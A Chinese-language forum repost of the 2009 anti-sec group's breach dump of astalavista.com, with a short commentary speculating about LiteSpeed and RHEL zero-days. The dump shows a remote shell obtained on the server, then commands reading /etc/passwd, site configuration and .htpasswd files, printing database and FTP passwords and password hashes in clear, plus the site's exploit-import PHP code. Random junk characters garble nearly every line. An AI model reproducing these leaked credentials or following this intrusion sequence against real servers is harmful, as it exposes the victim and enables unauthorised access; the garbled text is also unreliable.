里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。* f5 s$ p; z1 ~
5 P+ ?7 v2 t, B; T* m+ x' i
[root@front3 ~]# curl -I litespeedtech.com/ j" U, D( I/ r0 S- r
HTTP/1.1 200 OK
( U% ]1 j! `! \$ } v+ m4 F1 k. pDate: Fri, 05 Jun 2009 22:54:51 GMT$ F( U& T; {7 V) H3 h
Server: LiteSpeed
7 q2 P+ B1 a- E: ] i* ?5 E5 R4 s, v1 M
另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-
" W8 g8 O* ]8 w7 L' {5 I
( d$ q& l* `, M( K o! g有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。, N' Z1 ?* P6 ?6 U
; I" @5 U/ C y: K! h$ F) G+ i) L! h) s1 x% z
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ 8 t b! C3 z- H" y+ g6 j+ o
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \7 n7 ^& E0 |, r0 B4 u; E
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \5 w# }) \% l% ]% Y) E3 l
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /% R7 V+ h5 M D1 K
\/ \/ \/ \/ \/ \/ \/* n) V" D8 R! |# K# G* X
The Hacking & Security Community
5 G" E7 r) W% ^( }[+] Founded in 1997 by a hacker computer enthusiast
* F% h4 N* c: O) l[-] Exposed in 2009 by anti-sec group% E8 v! \, q0 }4 X8 W+ y* A
6 I- }5 c9 }/ V$ v! `0 @! {2 GFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:$ _' c% V; F3 c4 t" v9 }
>> 03. Who’s behind the site?
4 [6 ^& u) c Q ^>>3 @* Z& u' j$ X
>> A team of security and IT professionals, and a countless number of contributors from all over the world.* K" V& y1 w5 \" T' T: Z
- X2 R. D% z0 I+ B; s# {! G>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
0 S7 E4 J, S g2 e; h7 e3 A>>
0 v1 b: `: A0 q$ S>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and# h( ?9 }' o7 n3 T$ N' T S
military institutions.0 D. u5 H/ |9 I. Y
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information., E: S" K' ?3 _ w6 |& r. ~
1 p) g9 Y: T- B9 e3 I
Why has Astalavista been targeted?8 I3 J; A; U0 n2 @
. n8 c. C# ^' S2 J# C+ u
Other than the fact that they are not doing any of this for the “community” but* l% P4 X6 e. p2 C3 ]( g
for the money, they spread exploits for kids, claim to be a security community* ?6 s: ~- |4 h- G8 ~9 |& M; G
(with no real sense of security on their own servers), and they charge you $6.66
3 H( k! r5 K7 G) p. Xper months to access a dead forum with a directory filled with public releases
' F2 A. B, z% Q1 N) H9 \and outdated / broken services., W+ X( M& W w; r& H" x+ V
, t* V% b F& ?# UWe wanted to see how good that “team of security and IT professionals” really is.+ k; M9 P" g3 {% |: {" V {
$ H/ ?* @ Y }- V$ }6 VLet’s begin./ g/ J! L* x7 a9 I
V. U2 L5 {6 ~2 {anti-sec:~# ./g0tshell astalavista.com -p 80, E. k+ ~/ W) {; k3 q- z
[+] Connecting to astalavista.com:80
8 K3 O/ F8 ?# _( X3 _4 A# j/ g( _[+] Grabbing banner…
. T" D0 l" ]( b mLiteSpeed
. h" B$ G( N4 H0 M* X" X1 C3 _[+] Injecting shellcode…- b9 h; f( t- P/ y' M
[-] Wait for it1 n9 r0 B* E: I7 `! V8 v
; g+ R) q0 w2 o ^0 @) v: R% n3 |[~] We g0tshell1 V- w; Z; z l
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux5 d& T0 ^) S6 S6 \
ID: uid=100(apache) gid=500(apache) groups=500(apache)
" m# c7 ]% [2 a# V; L" ?5 ?. y/ m1 y4 u
sh-3.2$ cat /etc/passwd8 a& o) `. b/ o% E( u
root:x:0:0:root:/root:/bin/bash8 d+ _- }& q) [* q/ N; v
bin:x:1:1:bin:/bin:/sbin/nologin- q) R% L; Q& R9 b/ i) N( o0 g$ n) V
daemon:x:2:2:daemon:/sbin:/sbin/nologin
! ^, r3 v. f w. iadm:x:3:4:adm:/var/adm:/sbin/nologin
1 d' h$ [) g' h, o7 y9 ?! h2 ilp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
7 Y# v u) f k" async:x:5:0:sync:/sbin:/bin/sync
1 H# M4 _3 y$ G' {5 J, Pshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8 @- O' m8 ?' V- A5 phalt:x:7:0:halt:/sbin:/sbin/halt
4 l3 C4 V* K+ {: Smail:x:8:12:mail:/var/spool/mail:/sbin/nologin
* a% k) p: m4 y2 tnews:x:9:13:news:/etc/news:
+ |5 s5 _5 b& c" W+ j- j- Y/ o, @uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin) Q/ R9 N1 h. Q* s! A, f- ^6 Y
operator:x:11:0 perator:/root:/sbin/nologin
, h7 l5 a7 h/ a: C- Agames:x:12:100:games:/usr/games:/sbin/nologin) L8 H5 O1 q2 J- d& G2 L* x
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
$ n) G/ V L g/ g6 `7 ^: j1 o! Xftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
, L1 h v9 Q9 I) cnobody:x:99:99:Nobody:/:/sbin/nologin
9 X0 `1 }4 D) v& ]rpm:x:37:37::/var/lib/rpm:/sbin/nologin& q/ }" v: p, _
dbus:x:81:81:System message bus:/:/sbin/nologin% y& Y" M0 N5 }9 T) F) U n+ g* r
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
% ~- b) w2 o, K) Pmailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
/ [% d4 k- |! N; b ismmsp:x:51:51::/var/spool/mqueue:/sbin/nologin1 K/ i- _/ h! [2 A* u8 F
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
. r( X& o2 m* y1 W7 O, bhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin
6 n6 C2 X+ W7 i( n. Lrpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
, c% C1 C) a( |' [& Trpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin3 L6 k' I5 p8 p! ]3 t0 W* I+ J
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin3 x/ a5 n6 }. j7 l+ p
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin6 M8 L2 q/ P7 j$ m" b3 Y* C) P
pcap:x:77:77::/var/arpwatch:/sbin/nologin0 F/ [: p2 L- T' u3 z* ~: w+ Q$ J
named:x:25:25:Named:/var/named:/sbin/nologin
0 @/ V2 |: O" W: D5 }$ z/ i7 [$ Rapache:x:100:500::/var/www:/bin/false' q x. o1 K* `% H( X" L& o# q
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
5 A0 ^% e; F; D. Z( {9 {mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash6 p( @/ Y& G9 K9 q: N
webapps:x:500:501::/var/www/html:/bin/bash
7 K4 I' H9 A: Mmajordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
8 }# s4 T1 r. v$ i5 Hadmin:x:501:502::/home/admin:/bin/bash
* J% ^& B+ A. c& d, l6 djon:x:502:503::/home/jon:/bin/bash! ~- t6 W6 C9 \
com:x:503:504::/home/com:/bin/bash0 n/ _6 `2 B& ~0 b. D
ntp:x:38:38::/etc/ntp:/sbin/nologin
2 }6 @9 s" |/ I! C8 i6 Lais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin' N( J7 B) g4 \, H
astanet:x:504:505::/home/astanet:/bin/bash, C6 y- F ]1 O( O+ \
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
, m0 {; c2 p) n5 i# [) Y3 yavahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin: K6 {2 k7 {; s* ]
: Y1 w5 J9 a2 L: Msh-3.2$ cat /etc/hosts9 G- \ k3 f9 F' P
# Do not remove the following line, or various programs1 I- v2 ^, E, q' n, S
# that require network functionality will fail./ C u& S3 i$ o8 x
127.0.0.1 localhost.localdomain localhost5 q7 A' v: z {. U; E% `) s
::1 localhost6.localdomain6 localhost6& p0 x: B P; j
80.74.154.172 asta1.astalavistaserver.com
8 q9 @' m* G9 u" Q3 A5 N) h& ?. M4 v$ U4 Z6 V" H
sh-3.2$ pwd
9 c/ D5 [$ L" d; I! y# L; A: [* W/home/com/public_html
& @+ A+ Y) Y4 C, M5 N# }; Y( I6 M! J! U7 Y) `
sh-3.2$ ls -la8 H1 N+ p2 ?+ h
total 184604 d' A; S, T- @ V- d% M
drwxr-xr-x 30 com apache 4096 May 28 17:06 .& O9 @; z) N+ v* s
drwx–x–x 11 com com 4096 Jun 25 2008 ..
, o' ~' f: {/ v9 j! s/ W& ddrwxr-xr-x 2 com com 4096 Feb 2 19:29 admin; W& ^# i% g+ O# ^9 m6 }
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache+ E" b# \' ]! f2 y% t
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
) X2 ?: W' Z+ G1 G' i% Bdrwxrwxrwx 2 com com 4096 May 19 00:50 config) u4 ~9 Z4 u7 V9 j
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core T; v' J% G; ?. t/ w
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
, [& m( K5 U, ~( O2 G$ fdrwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
) D8 \! {' L: D( J, _* edrwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
/ t" k! F+ L4 l7 Pdrwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
" z: K4 C: ~; N, F2 v& Q$ e9 _-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php, T) r& L$ m' P
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
- c, @+ g8 ]/ q* f, ddrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor
, j- L9 ]9 Y1 R3 h- c-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico" \) C/ n! [! ?# ~
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed w! ^" l- ]$ [
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
' ?" B a& D- ?$ X, b" m Z% j) |-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
; i1 j% A/ l" ^# n8 \; o7 c& H-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak0 N' X# W+ `; k1 d8 M
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
6 j4 L& \: Q4 s: y& H1 r2 C( x) fdrwxrwxrwx 14 com com 4096 Feb 2 19:29 images* ^% U. J; U3 a6 Q# Z/ h* W
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php, X8 n) M B9 j! u! f; c
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
+ a3 _' L8 i- j* Kdrwxr-xr-x 8 com com 4096 Feb 2 19:29 lang6 |- ~. ^; ?" U, M
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
6 U1 e' n* |+ N7 M2 D8 L, Qdrwxrwxrwx 12 com com 4096 Jun 2 07:47 media
( p4 J( B; s8 y6 a, c- o+ `drwxr-xr-x 8 com com 4096 May 11 12:48 modifications; |" `$ d6 T; n! ]
drwxr-xr-x 34 com com 4096 May 28 16:30 modules1 R/ u3 k2 p; a" F
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin; ~/ p( N* I* @) U8 O
drwxrwxr-x 22 com com 4096 May 28 17:06 _new# L" \3 H6 e7 q! o5 B V1 ?# M
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
9 a$ V5 N9 G( P/ J6 h+ M! Jdrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
) N9 S X7 t; C& e- I5 Jdrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy6 q Z# p. O) C3 j. d
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt, v& l1 t) V- F6 y& H. |
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml4 Z& W* ~5 G; r, s9 ?8 ?
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
. x/ y% `# H0 S+ vdrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
# U& i5 V8 l, i/ A& Xdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp+ B# A4 g' a( G# d; ^
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam O. P) F0 O0 K; p( J+ {; P& `: R
! }) ?0 C( }- J2 U/ U
sh-3.2$ head -20 index.php
/ u6 t8 H% g$ @4 c. V<?php4 j/ ~" q% g% d2 Q
: Z% `( o6 P7 O0 C
/**
( H" f4 u! N+ `# b* The main page for the CMS
1 e3 u6 N" X+ B4 m7 F* @copyright CONTREXX CMS - COMVATION AG
; e7 f( O# k- A" t; Y* @author Comvation Development Team
8 M% x! g# ?4 x' T* @version v1.0.9.10.1 stable
; S; i2 k8 }; f0 W; g9 ?6 F* @package contrexx
9 W5 k: R$ w4 Q* @subpackage core. R- A" t3 w, f9 u5 z5 j
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage c$ l& q( ~; G; x7 O, M
* @since v0.0.0.0
9 q* o' u- _; V- ^* @todo Capitalize all class names in project- W# y' V3 M7 ` J0 z6 m9 B$ x% p1 L
* @uses /config/configuration.php
U$ a- m0 X4 _& m* @uses /config/settings.php
* ]! k/ x% z" n- Z& q* @uses /config/version.php
: T3 ]( J2 j& N3 v! F& i: b* @uses /core/API.php
H! U2 M7 Y0 D* @uses /core_modules/cache/index.class.php, `- g ~( D9 l
* @uses /core/error.class.php3 V. K" j: w) ^. O( h5 l
* @uses /core_modules/banner/index.class.php
) }) N8 P6 W. T' }* @uses /core_modules/contact/index.class.php
- U1 o7 `" E6 N! P0 ^. C* q' D- E9 d' q, n1 Z
sh-3.2$ cd config/
5 y; y& ~/ U6 h- H8 psh-3.2$ ls -la/ Z$ k7 i" g2 H. U' E
total 32
7 f1 C3 h8 }+ x1 v& Qdrwxrwxrwx 2 com com 4096 May 19 00:50 .
3 u4 R' b% R4 d2 jdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
6 z/ O d) O1 r4 ~8 `( ?) t' P-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php( Q2 X' W/ w/ r* D5 o0 p4 s1 O
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php4 ]5 ?$ S& d, }2 @& O2 H
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
' Y5 l3 R+ P! K* N, I! c# n-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
- l" O# h) B, L1 D& x8 d; Z0 }% d. z" @7 @* |+ k' a i: H
sh-3.2$ cat configuration.php1 C& T: c/ [1 R9 Z: {
[snip]
, a3 v; Q8 D4 v& c, `, G; z$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost- Y7 d# e6 _; j4 q6 T# U* e
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name& t2 {% Z' r7 u: {$ j
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
1 i$ p( | i8 d# R* D$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
1 D& u1 T) c G! d- i0 S$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password& k3 X2 S3 }5 y0 | s& \
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)$ O1 L$ L4 N+ o( X7 n; O* i' I
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)7 t8 U9 o, k, g, Y \4 Z8 t6 T5 V
[snip]
. d8 T" z4 M* M( p! m$_FTPCONFIG['is_activated'] = true; // Ftp support true or false* r" a* s T4 C5 m7 ]2 {2 K* u5 P
$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode
9 x! [- L4 x5 Y+ y* A( j1 X. Y$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
8 |% G9 ^$ N) H: b: Q/ D( f$_FTPCONFIG['port'] = 21; // Ftp remote port2 A$ G, t- X" G& e8 N1 Q) P5 P
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username) a( e& N' e" X" [; j0 M
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
7 P ^( ~# ^/ |$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
6 z# _" q6 M8 t/ z2 s4 l
' N8 P7 }3 ~3 J# `* [5 wsh-3.2$ cd ..& `4 e" m& {+ N9 F: r6 }4 v. s
sh-3.2$ cd dvd/
* W3 H8 ~9 Q' M1 [5 Q6 Lsh-3.2$ ls -la
; r+ @: f2 k9 f" N; p1 \! Ntotal 29137806 a6 F9 w3 f/ u
drwxr-xr-x 2 com com 4096 Sep 9 2008 .: j- x9 p4 Q3 k" I9 n
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..; f8 @* F% V; N
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
6 g2 O9 h1 K" E$ B. y; d/ J6 T-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
+ f. R+ Y( H. Y) I-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar! W; X w) S- k
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess
) U1 \1 d2 z/ K# j- e) c+ D' v: {! W5 X0 I1 R+ D
sh-3.2$ cat .htaccess4 d: R# @9 P( \/ ?# ~7 l" W
authType Basic
' n. u2 r2 g: m4 O3 R6 n- F$ B( NauthName DVD
3 ~: y1 Y4 g0 ?authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd4 p1 j8 l2 `0 ^
require valid-user
+ `6 ?/ |. v" [/ q: ~/ @& }# I
+ o0 v8 M" b3 O5 m; O1 `) xsh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
: ~$ o8 h% }0 B/ Z5 O% `, ZDVDdownload:CRD8cuY6.MPT61 r: Z4 w% H1 `3 G- M
DVDdownload2:CR8a36.wluFMg, \% P3 L" ^+ Q0 O1 Z, G; h# `; t- G
$ }6 S ^( _" v8 z9 j* n" a. \: ]
sh-3.2$ cat test.php3 h0 J4 {9 X% D% f
<?php
5 J& x* M w0 j8 m% V9 N% J9 U$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;- `, Z7 J- z1 O
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));6 c* i/ N- G& ^/ d. d
echo $url;
3 k) N* `) R) |5 F- }4 L& D5 l?>& B |) _! r+ h0 B$ R* e, t
* l' j! ^* X# r
sh-3.2$ cd modifications/3 {! }' ?( h% p0 L% i9 H5 J
sh-3.2$ ls -la
2 j, \9 [; v& R. G( Ytotal 32- j1 i5 t# u. S8 U9 }- f6 Z
drwxr-xr-x 8 com com 4096 May 11 12:48 .' w6 U9 v0 Y0 C7 \4 ?
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
1 ]2 b3 _: N" u9 ^ |4 v) T, Qdrwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
8 p. w2 f- }/ X. Qdrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs! V6 S# h5 V( F" ?8 U
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
/ A' R' s+ c: T( u; tdrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc
/ w: C* b) x x: T' P5 s% xdrwxr-xr-x 2 com com 4096 Feb 2 19:33 search1 F( Y, G& C) r1 E) w- }
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
! v8 U/ S) A7 x6 K& t
, w) @* t- p Tsh-3.2$ ls -R
, P. ] l I& P% v, R.: i/ B) j+ a$ Y0 }
com_avtng cronjobs onlinetools pjirc search _tmp8 w: k4 n' x7 r5 f1 @8 r* \
9 m7 L7 R9 X( o: c6 e J9 w% q2 I./com_avtng:" K0 d1 m6 G' U" `( n7 Q2 x
avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts* K2 J+ k8 m ^: ^
, @2 G U) m* g- f
./com_avtng/scripts:+ }) o/ M1 G0 l; {" b- | k$ L1 R
popunder.js
, h6 i9 q2 m9 t3 T$ e8 L" }5 t% J( I4 i# W
./cronjobs:+ W) S% \$ Y5 v# W
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
$ U5 u, X5 }" n& q0 p
% |* b& Y7 k" c; |. l) E./cronjobs/tmp:9 g+ F# T; _' v4 b
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv" U! I, H% y3 I; m6 k5 j7 [
6 F2 d0 T0 m ]8 J5 q7 C
./onlinetools:
2 z- k6 b. o ~( Q; nindex.php
; Q$ S6 U! L, S9 |. x! Q+ B) [- J, B6 M: k' M& w' x' O" D
./pjirc:: |( w* l% j" q
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
' X* X. x" U5 b; l; qAppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt0 ~( c* y" u* i- c2 I+ q' r6 Z
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
7 A# a0 v/ Y" ?+ B) b' Y9 i" t" F" F6 z" N, A2 N# |. u X9 }( E
./pjirc/img:$ y1 a* ~; C- y/ y$ }+ K& o- s2 v
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif' g, L$ G1 N3 V, I; O8 ~- e
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif 9 n) k3 g+ A% O0 \( Z) A
verre-eau.gif
; @2 o ~5 D! O8 I& g' i- Oargh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif F1 q! ?. A" H) Y2 v6 J; _
verre-vin.gif# O4 q7 X, f' T' X7 b
ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif' m: f; Q+ j4 \; h- V; y7 u$ f, m
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
$ X$ F0 y7 y9 o3 u; J1 N5 X8 V) v4 |1 B2 w' V9 R9 _
./pjirc/snd:
2 b8 d: Y2 H8 l3 `# [bell2.au ding.au6 |% v$ M4 d3 @' x$ p- A
: l- A# V4 L4 l# T s
./search:2 Z. ^+ @, c2 t) a: ]
searchEngines.php search.php/ n, l- k( ]- D5 l+ K& l) U3 _/ C
- M' k' d3 V- Y$ j# j: q' c& d./_tmp:* D# ]4 G; F* W8 l4 n
defaultPorts.php defaultPorts.txt
4 @/ N3 [8 d6 G8 h2 n$ a" l
- ^6 ~+ a3 |* P9 L; q6 B4 G; Jsh-3.2$ cd cronjobs/8 G+ B7 Q8 r! E8 i
sh-3.2$ cat exploits.php) [+ c. R" Z* `8 l
[snip]
2 G: w+ o( z1 l2 [/ F+ Y# u$categories = array();
" w3 c( N5 \) E$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;+ Q1 z. N9 \0 S1 v, @5 Q# J4 L/ J* e
$expolits = file($milw0rmFile);* e7 p: h) Q3 B
$comExploits = array();
) D% B0 `* J! O: l2 e[snip]
7 a$ C! O$ `1 I+ H$ P* ^* l! J// manage data' s7 ?( k2 U+ A* `9 ]0 ?$ J
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
! ]# ~3 n9 I& Q5 v) Q H. I0 ]2 M1 q( h! b
// get path and title0 J5 A2 ^ E G1 I
$expolits[$x] = trim($expolits[$x]);
6 f1 P# ~4 u- B- L( Q $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));8 {3 v8 \' a* G% f4 `! X# H4 p
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);6 e, V; o; p4 `3 u& k4 j" o
$ {$ U) d7 i D7 _
// check if file exists8 ~7 z# W5 v+ b1 R
if (file_exists($path)) {
: U9 C8 a' }" V; @* W% H' {3 N; r! b; i9 J) p
$text = file_get_contents($path);
5 }4 o2 T% h: C. [+ A7 z, g, I" W! `1 m/ s1 l4 [
// get content and date
: Z% e% k: M6 P Y //$text = htmlspecialchars($text, ENT_QUOTES);# p2 i' n& q( Y4 ]% v) p8 p, `) n8 Y
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));5 K- @# u; e5 m5 N" d* q
if ($tmptext != ”) {: d# _9 O: U7 j0 p7 Q) J
$text = $tmptext;
; l) }4 U2 E- h0 G; e- g6 l } else {
5 P6 @# j* g. f7 g1 A2 W( X9 \5 O $text = addslashes(htmlentities($text, ENT_QUOTES));
R3 ~& Q- K8 Y7 O) o* [5 W }
; }8 H2 i9 c" @: N0 H $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
1 N/ s8 @& r* ? $tmp = explode('-', $date);
' y U5 d' E1 E5 { $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));( d% e O/ X- g! P; g
$cat = getCategory ($path);
* S/ l! K2 S6 Q* o- `7 K $ext = pathinfo(basename($path));; b8 ?: @- a7 j0 p+ s
$ext = $ext['extension'];
6 j) C; r; n/ g& M% ?9 n $qStr = ”
@! {- ~2 O; E8 O SELECT `id`& L& Y% f6 U6 @+ B& G
FROM `contrexx_module_exploits`" Z3 G( r2 w8 B) T) L
WHERE `title` = ‘” . $title . “‘' M/ ~3 ^' y2 }( ~3 p% k
AND `date` = ‘” . $date . “‘
* ^2 R* f7 q/ [' E5 Z, X “;
- B) p" S" q" ~ echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
$ U4 G% G( O1 Q3 `4 o $q = $_objDB->query($qStr);: @0 r0 M B+ ] ^( m i3 Z
: x" W6 V/ D$ O" \$ ]% L) L; l l
if ($q->numRows() == 0) {
( H( O' l! r5 e2 _/ H4 n' E* K" s; [' `/ E- v
// prepare array
' q% I; C& f6 W $comExploits[$x]['date'] = $date;
4 T R1 f6 z, c: J $comExploits[$x]['title'] = $title;
' k2 r: q* {# G $comExploits[$x]['author'] = ‘milw0rm’;( ~' d" N* I, S* h( R7 Z
$comExploits[$x]['text'] = $text;3 e9 n- L6 e4 K) d% V
$comExploits[$x]['source'] = $ext;
- ^; ?8 R" Z( X3 E4 { $comExploits[$x]['url1'] = ”;" |! ]7 V* R$ J: A
$comExploits[$x]['url2'] = ”;" z3 `, K$ \% z
$comExploits[$x]['catid'] = $cat;3 R) S+ I8 q) H) b( l; g8 a8 t/ ^
$comExploits[$x]['lang'] = ‘2′;
5 z- p: s$ d+ P ^0 V5 K $comExploits[$x]['userid'] = ‘12′;- b7 o1 C$ h4 J' k3 t
$comExploits[$x]['startdate'] = ‘0000-00-00′;
: G" A/ p: J0 N# r/ w $comExploits[$x]['enddate'] = ‘0000-00-00′;
7 q" E1 f% K) ]8 ~1 F $comExploits[$x]['status'] = ‘1′;
; O N( a$ \( l9 g8 f* N $comExploits[$x]['changelog'] = $date;
; r$ y, ~1 c h u& V
9 q3 y% G$ @! @5 C0 @" z) E }
+ ^- V$ a' h3 l9 k: F; H' p[snip]% ?: K1 N. b& `! t
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>3 z% m1 n. m7 W) S$ j9 L1 O. j
<rss version=”2.0″>
6 |( ^% c( j; p3 ~3 k3 d$ S v <channel>
" s) Z5 `& b+ A6 A& u9 s+ ]! I <title>ASTALAVISTA.com - Exploits</title>2 n9 G9 E* }8 B, P4 ?0 U
<link>http://www.astalavista.com/exploits</link>( \3 _; i0 k3 _+ z
<description>All availably Exploits.</description>
7 z9 d" ]& H+ ` <language>en-us</language>; ]: U; B7 c* `
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
